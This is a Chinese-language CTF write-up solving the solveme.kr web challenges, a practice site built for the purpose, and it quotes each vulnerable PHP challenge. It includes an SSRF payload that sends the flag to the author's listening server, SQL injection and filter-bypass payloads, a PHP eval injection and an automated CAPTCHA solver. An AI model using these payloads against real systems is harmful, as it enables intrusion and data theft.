solveme.kr writeup

题解

Warm up

1
2
3
4
5
6
7
8

<?php
error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

直接base64解密就出来了

Bad compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['answer'])){

if($_GET['answer'] === '����������'){
echo $flag;
}else{
echo 'Wrong answer';
}

echo '<hr>';
}

highlight_file(__FILE__);

文字编码导致的问题,字符库里不存在将导致复制出错,应该想办法查看真实的值,可以用burp之类的检查hex,也可以更换编码以便复制,比如更换为韩文编码,提交的时候再把韩文编码一下即可,提供一个小工具

Winter sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){
echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';

}else{
sleep((int)$_GET['time']);
echo $flag;
}

echo '<hr>';
}

highlight_file(__FILE__);

跟php不同函数特性有关,参考我发的这篇帖子,通过测试可以发现服务器php版本应该是7.0.xx,因而不支持16进制写法,所以可以使用科学记数法绕过。

Thirty six

1
59714216653669596140166323768414581512983971077273551022216

10进制转36进制即可。不过很多在线进制转换工具的精度不够,我用类似下面的代码处理了
http://blog.csdn.net/liangzhaoyang1/article/details/50927557
http://blog.sina.com.cn/s/blog_956be04001010k83.html

Hard login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';
if(isset($_GET['id'], $_GET['pw'])){
if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';
}else if($_GET['id'] == $hidden_id){
if($_GET['pw'] == $hidden_pw){
$_SESSION['hard_login_check'] = true;
echo 'Login Success!';
}else{
echo 'Wrong pw..';
}
}else{
echo 'Wrong id..';
}
echo '<hr>';
}
highlight_file(__FILE__);

其实这题不是代码审计……
原来给出的链接是/prob/hard_login/,点击后有个跳转,跳到/prob/hard_login/login.php,burp拦截跳转,重放即可看到flag

Array2String

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/lib.php';

$value = $_GET['value'];

$username = $_GET['username'];
$password = $_GET['password'];

for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);

if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

php的ord函数,在输入的数字超出范围的情况下,会模掉256然后求余。

Hash collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['foo'], $_GET['bar'])){

if(strlen($_GET['foo']) <= 30 && strlen($_GET['bar']) <= 30){
if($_GET['foo'] !== $_GET['bar']){
if(hash('sha512', $_GET['foo']) === hash('sha512', $_GET['bar'])){
echo $flag;
}else{
echo 'Different hash';
}
}else{
echo 'Same value';
}
}else{
echo 'Too long';
}

echo '<hr>';
}

highlight_file(__FILE__);

提交xxx[]的形式,将提交的参数变为数组,然后赋不同值即可。

GIF89a

给了这么一个文件,根据提示,添加gif头,补全图像信息,用ps打开发现大小不对,有部分像素被隐藏,参照GIF文件格式和文件属性中的像素大小,修改文件的像素。
打开后发现隐藏的数据是一堆图标,可以想到是图标字体库影响,打开PS寻找相应字体,然后一一对应,即可获取flag。

Flag not found

给出了一个flag文件。
下载flag文件,ultraedit打开看到flag.txt字样,怀疑是某种压缩文件,到http://checkfiletype.com/ 检查一下,提示是
File Type: LHa (2.x)/LHark archive data [lh7] - header level 0
google了一圈,的确是个压缩文件,wiki百科上说这个有拓展名lha lzh,改拓展名发现winrar支持,但是无法解压,怀疑是文件末尾被破坏了。
下载7-zip,改拓展名为lh7,可以提取出一个flag.txt(然而只是让我加油……)
……
回到flag.lh7,7-zip显示偏移了62字节,Ultraedit打开发现的确有两个lh7字样,测试发现后者是解压出来的txt,前者应该就是要解码的flag了。
C32查看文件,通过参考链接 ,里面记载了LZH的文件格式。反复调试提取并修复上面的压缩文件,拿到本题flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

$parse = parse_url($url);
if(basename($parse['path']) !== 'plz_give_me'){
die('Not allowed path');
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

echo 'Okay<hr>';
}

highlight_file(__FILE__);

首先用burp fuzz一下能代替下划线的,然后随便选一个,用https://solveme.safflower.kr@service.com/plz%01give%01me这种格式绕过就可以在自己的服务器上看到访问记录了。

ip2long转换一下ip,用上题fuzz出来的结果替换一下划线
得到payload

1
/?url=https://1869573999:443%2fplz%1fgive%1fme

就可以在111.111.111.111这台机子上监听443端口,等待发送来的flag即可。

Replace filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) &amp;&amp; strlen($_GET['say']) < 20){
$say = preg_replace(
'/^(.*)flag(.*)$/',
'${1}<!-- FILTERED -->${2}',
$_GET['say']
);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo "What does \"{$say}\" mean?";
}
echo '<hr />';
}
highlight_file(__FILE__);

.匹配任意字符但是不匹配换行,而^ $又限定了必须在同一行,因此提交的时候在中间带上换行即可。

Lax CAPTCHA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';

if(isset($_GET['generate'])){

$img = imagecreatetruecolor(450, 55);
$color = imagecolorallocate($img, mt_rand(70, 255), mt_rand(70, 255), mt_rand(70, 255));
imagefill($img, 0, 0, $color);

for($i = 0, $x = 7; $i < 15; ++$i, $x += 30){
$temp = mt_rand(-7, 7);
$color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69));
imageline($img, $x + 9 + $temp, 0, $x + 9 - $temp, 55, $color);
$color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69));
if($i % 4 === 0) imageline($img, 0, mt_rand(5, 50) + $temp, 450, mt_rand(5, 50) - $temp, $color);
}

for($i = 0, $x = 7, $answer = ''; $i < 15; ++$i, $x += 30){
$color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69));
$answer .= chr(mt_rand(ord('A'), ord('Z')));
imagettftext($img, 15, 0, $x, 35, $color, __DIR__.'/arial.ttf', $answer[$i]);
}

$filepath = __DIR__."/{$answer}";
imagepng($img, $filepath, 9);
imagedestroy($img);

$captcha = base64_encode(file_get_contents($filepath));
echo "<img src='data:image/png;base64,{$captcha}'>";
unlink($filepath);

$_SESSION['lax_captcha_answer'] = $answer;
$_SESSION['lax_captcha_time'] = time();

echo '<hr>';

}elseif(isset($_SESSION['lax_captcha_answer'], $_SESSION['lax_captcha_time'])){

if(isset($_GET['answer'])){

if((time() - $_SESSION['lax_captcha_time']) <= 3){
if( $_GET['answer'] === $_SESSION['lax_captcha_answer'] ){
echo $flag;
}else{
echo 'Wrong answer';
}
}else{
echo 'Timer over';
}

echo '<hr>';
}

unset($_SESSION['lax_captcha_answer'], $_SESSION['lax_captcha_time']);
}

highlight_file(__FILE__);

验证码识别,写了个有点low的识别,没有处理线条,成功率还是有的,运行个十几二十次能跑出来

代码如下

p_function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
function send($method,$url,$header="",$postcontent=""){
$ch = curl_init();//初始化,创建一个新curl资源
curl_setopt($ch, CURLOPT_URL,$url);//设置url
curl_setopt($ch,CURLOPT_CUSTOMREQUEST,$method);//自定义方式,GET,POST,PUT,DELETE等都可以
curl_setopt($ch, CURLOPT_HTTPHEADER,$header);//自定义http_header
if ($postcontent!=""){
curl_setopt($ch, CURLOPT_POSTFIELDS,$postcontent);
}
curl_setopt($ch, CURLOPT_TIMEOUT, 60);//允许curl执行最大秒数
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); //从证书中检查SSL加密算法是否存在
curl_setopt($ch, CURLOPT_HEADER, true);//设置获取返回头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );//以字符串的形式返回cURL句柄获取的内容
$output = curl_exec($ch);//执行
$headersize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);//获取返回头大小
$header_response = substr($output, 0, $headersize);//截取返回头
$header_response=explode("\r\n",$header_response);
array_pop($header_response);
array_pop($header_response);//弹出两个空行
$output_body=substr($output,$headersize);
foreach ($header_response as $key => $value) {
$t=explode(' ',$value,2);
if(stristr($t[0],'Set-Cookie')){
$CookieT=explode(';',$t[1]);
foreach ($CookieT as $key1 => $value1) {
$ttt=explode('=',$value1,2);
$cookie[$ttt[0]]=$ttt[1];
}
$tt[$t[0]]=$cookie;
}else{
$tt[$t[0]]=$t[1];
}
}
curl_close($ch);//关闭curl,释放资源
$output_array['header_response']=$tt;
$output_array['output_body']=$output_body;//以数组的形式展现,方便输出http返回头和html的body
return $output_array;//返回信息
}

function req_header_format($header){
//$arr=array();
foreach ($header as $key => $value) {
$tmp=explode(' ',$value,2);
if($tmp[0]!=='Cookie:'){
$arr[$tmp[0]]=$tmp[1];
}else{
if(stripos($tmp[1],';')){
$t0=explode(';',$tmp[1]);
foreach ($t0 as $key1 => $value1) {
$t1=explode('=',$value1,2);
$a_cookie[$t1[0]]=$t1[1];
}
}else{
$t0=explode(' ',$value,2);
$t1=explode('=',$t0[1],2);
$a_cookie[$t1[0]]=$t1[1];
}
$arr['Cookie:']=$a_cookie;
}
}
return($arr);
}
function req_header_unformat($format_header){
foreach ($format_header as $key => $value) {
if(!is_array($value)){
$arr[]=$key.' '.$value;
}else{
$t=$key.'';
foreach ($value as $key1 => $value1) {
$t.=' '.$key1.'='.$value1.';';
}
$arr[]=$t;
}
}
return($arr);
}


function send_follow_30x($method,$url,$header,$postcontent){
$a=send($method,$url,$header,$postcontent);
$fm_header=req_header_format($header);
if($a['header_response']['Set-Cookie:']){
if($fm_header['Cookie:']){
foreach ($a['header_response']['Set-Cookie:'] as $key => $value) {
array_unshift($fm_header['Cookie:'], $value);
}
}else{
$fm_header['Cookie:']= $a['header_response']['Set-Cookie:'];
}
}
$header=req_header_unformat($fm_header);
for (;; ) {
if(preg_match('/30\w?\s?Found/',$a['header_response']['HTTP/1.1'])){
$a=send($method,$a['header_response']['Location:'],$header,$postcontent);
}else{
break 1;
}
}
return $a;
}

?>

uvcode.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
header("Content-type: text/txt");
// header("Content-type: image/png");
include 'p_function.php';

$header[]='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36';
$header[]='Cookie: PHPSESSID=8d7ct91hd4ff6vlv4r2ul1o521';

$content_a=send('GET','http://solveme.safflower.kr/prob/lax_captcha/?generate', $header);
$content=$content_a['output_body'];

$p=addslashes('\'><hr><code><span style="color: #000000">');
preg_match('/<img src=\'data:image\/png;base64,(.+)\'><hr><code><span style="color: #000000">/', $content,$c);

// 获取目标字符
$rimg=imagecreatefromstring(base64_decode($c[1]));
$rcolor=imagecolorat($rimg,0,0);
for($rmx=0;$rmx<15;$rmx++){
for($ry=20;$ry<35;$ry++){
for($rix=0;$rix<15;$rix++){
$rimgc=imagecolorat($rimg,$rix+7+$rmx*30, $ry)===$rcolor?0:1;
// echo $rimgc;
@$rimgc_a[$rmx].=$rimgc;
}
// echo "\n";
}
// echo "\n";
}
// print_r($rimgc_a);

// 获取源字符
for($t=65;$t<=90;$t++){
$im = @imagecreate(15, 15)
or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 255, 255, 255);
imagettftext($im, 15, 0, 0, 15, imagecolorallocate($im,0,0,0), 'arial.ttf', chr($t));
// imagepng($im);
for($iy=0;$iy<15;$iy++){
for($ix=0;$ix<15;$ix++){
$imgc=imagecolorat($im,$ix,$iy)===0?0:1;
// echo $imgc;
@$imgc_a[chr($t)].=$imgc;
}
// echo "\n";
}
// echo "\n";
}
// print_r($imgc_a);


foreach ($rimgc_a as $ordr => $src_xor) {
$res_xor_m_top=0;
foreach ($imgc_a as $ord => $des_xor) {
$res_xor_c=0;
for($i_xor=0;$i_xor<strlen($src_xor);$i_xor++){
@$res_xor=(int)substr($src_xor, $i_xor, 1)^(int)substr($des_xor, $i_xor, 1);
if($res_xor==0)
$res_xor_c++;
@$res_xor_s.=$res_xor;
}
$match_p=$res_xor_c/strlen($src_xor);
if($match_p>$res_xor_m_top){
$res_xor_m_top=$match_p;
$res_m_top=$ord;
}
}
@$res_m.=$res_m_top;
// echo $res_xor_m_top."\n";
}
echo $res_m."\n";

$answer_a=send('GET',"http://solveme.safflower.kr/prob/lax_captcha/?answer=$res_m",$header);
$answer=$answer_a['output_body'];
echo $answer;
?>

修改uvcode.php里的phpsession即可,跑个十几次能跑出来。

Anti SQLi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
// It's Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);
if(isset($result)){
if($result['no'] === '31337'){
echo $flag;

}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}
highlight_file(__FILE__);
  • \\并不能匹配到\,preg匹配时php(似乎)会进行两次转义操作,原先的\\被转义成\,也就是\\|变成了\|,再次转义就会变成字符串|,也就导致\\xA0无法匹配到,只有提交|%a0才会被匹配到。(适用php所有版本)
  • and or 都被匹配了,用xor。
  • 充当空格的09 0A 0B 0C 0D A0 20都被匹配到了,导致--注释后面加不上空格,但是--后面使用%10 %01 %11 %02 %12 %03 %13 %04 %14 %05 %15 %06 %16 %07 %17 %08 %18 %19 %1a %1c %1d %1b %0e %1e %0f %1f %7f 这些字符,依然能够使注释起作用。
  • union select 检测,用union all select 绕过
  • 然后是需要匹配到no=31337,过滤了<>=, 不过其他二元运算符还能用,比如取余和除法,二元运算返回值进行四舍五入后不为0,相当于返回为真。
    之前antisqli那题的sql服务挂了,所以没做,也不知道里面的数据长什么样。原来以为数据表里有no为31337的记录,结果测试发现只有no=1和no=2的记录,因此需要自己构造数据,上面这条划掉的权当参考,在其他题目中可能有帮助

Name check

之前没做,觉得是SQLite的注入,做题会费劲,后来看了别人的解之后才发现不难。

稍微要看懂的是SQLite的语句

1
2
3
4
5
SELECT 
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'

其中MAX('0','1','{$name}') LIKE 'a%', ,取 0 1 和name中最大值,当以a开头时语句为真,返回1。SQLite手册 MAX

INSTR('{$name}','d')>0, 用于寻找name中是否存在d,存在则返回1,然后1>0成立,再返回1。SQLite手册 INSTR

MIN('{$name}','b','c') LIKE '__m__', 用于寻找name b c中的最小值,以name的第一个字符与b c排序,再要求符合__m__这样的格式。

SUBSTR('{$name}',-2)='in'要求最后两个字符为in

然后以上四者都要成立,则就是要求字符是admin了,但是正则过滤了/admin|--|;|\(\)|\/\*|\\0/i。那么可以用||连接字符,php检测不到,而SQLite可执行。
大概长这样

1
http://namecheck.solveme.peng.kr/?name=a%27||%27dmin

I am slowly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];

if(isset($_GET['answer'])){

$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}

$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}

quit:
mysqli_close($con);
echo '<hr>';
}

highlight_file(__FILE__);

这题有个条件竞争的问题。
程序流程为
sql查询count => 执行sql语句 => update count
可以想到,在“查询count”和“update count”之间,实际上有个时间差,而通过注入sleep可以加大这个时间差。
而只要count != 12就不会重置数据表。

  • 因此只要通过线程并发,即可绕过查询次数限制。
  • 由于程序自带随机sleep 1-10s,因此在查询正确的结果上再多sleep 10s即可。

正如题名,解这题非常的耗时间,程序可能需要跑很久……
补充一句,dnslog用不了,否则dnslog应该是最好且最快速的解决方法。

另外在官方wp区看到另外一个解,利用了information_schema.processlist这个表。

1
http://iamslowly.thinkout.rf.gd/?answer=a%27+union+select+substr(info,66,85),2+from+information_schema.processlist+where+%271%27=%271&i=1

URL filtering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/lib.php";

$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);

$params = explode("&", $url_query);
foreach($params as $param){

$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}

if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

highlight_file(__FILE__);

非官方wp

在这题绕了很久,以为函数是没有问题的,又是fuzz又是各种构造,然后才从函数入手。

问题在于parse_url,手册提到了一点,对于file协议,允许匹配三个斜杠,而对于其他协议则不允许,也就是说,不规范的URL将导致$url_query为空,成功绕过下面的判断代码。

官方wp

上面的做法并没有将可疑的$url = urldecode($_SERVER['REQUEST_URI']);这一句用上,因为像这样重新进行解码,将会导致如?a%3d1变成?a=1,再通过自定义流程,变成参数a及值1,而实际上只有一个参数a%3d1
与上面处理方式相同的地方在于,官方给出的wp也是通过改变$url_query来达到目的:由于RFC规范一个url的格式为形如http://username:password@hostname/path?arg=value#anchor这样的,问号后面的为query_string,即查询语句,而#后面的则是fragment,用于id选择,而代码中parse_url一句明确选择了query部分,代码中多余的一步urldecode操作正是为注入成为fragment提供了契机。

Hell JS

核心代码是jsfuck编码后的,太长就不贴了。

将js复制到开发者工具console进行调试,切换到source模式开启暂停,在弹窗里随便输,然后持续跟进代码。

然后可以看到进行了字符串比较,flag到手

另一解法

jsfuck编码后的代码,可以试试将整个代码最后一个()改成.toString(),如

1
2
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]).toString()
'function anonymous() {\nalert(1)\n}'

Cheap lottery

游戏规则是这样,去买票,然后等60秒后刷新一下页面,数据库里会有一个admin的票和你的票,相等则拿到flag
则需要进行注入,特殊符号都没有过滤,但是过滤了=[] 和所有字母,字母可以用 collation 绕过,另外似乎还有一个mysql查找顺序的问题。
这个问题p师傅有提到过,见Mysql字符编码利用技巧

因此可以通过注入,创建另一个ip的admin和guest的表,然后用另一个ip访问。
应该也可以通过注入,复制admin的票到guest。

参考Cheap Lottery

Check via eval

过滤了一些字符,可以用<?=$a;?>的形式输出变量$a,另外通过$a{0}='z'的形式设置$a的第一个字符为z

1
http://checkviaeval.solveme.peng.kr/?flag=$a=%27flax%27;$a{3}=%27g%27;?%3E%3C?=$$a?%3E;11111111111111111;

Super secure hash

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
require __DIR__.'/lib.php';

function super_secure_hash($text){
$hashed = sha1(crc32($text));
$encoded = base64_encode(hex2bin($hashed));
return $encoded;
}

function login_check($username, $password){
if(strlen($username) > 4 && strlen($password) > 6){

$users = json_decode(file_get_contents(__DIR__.'/users.json'));
foreach($users as $user){
if($user->username === $username){
return $user->password === super_secure_hash($password);
}
}
}
return false;
}

if(isset($_GET['username'], $_GET['password'])){

if(login_check($_GET['username'], $_GET['password'])){

if($_GET['username'] === 'admin'){
echo $flag;
}else{
echo 'Hello, '.$_GET['username'].'!';
}

}else{
echo 'Wrong username or password..';
}

echo '<hr>';
}

highlight_file(__FILE__);

可以很清楚的看到

1
2
3
4
5
function super_secure_hash($text){
$hashed = sha1(crc32($text));
$encoded = base64_encode(hex2bin($hashed));
return $encoded;
}

这个函数,用了crc32作为其中一环的密码处理,因此对应的sha1值是可解的,那么就可以想办法找到对于的值。

users.json如下

1
[{"username":"admin","password":"G19qLfSByRqrTRS8in1qT\/CWvnc="},{"username":"guest","password":"vANiIasnT\/+9Z5eyvy6H0BMjTgw="}]

可以爆破。不过最后用谷歌搜了一下,明文是artplanevent

谷歌搜索
最终网址

Author: hundan
Link: https://hundan.org/2017/07/25/writeup-solveme-kr/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.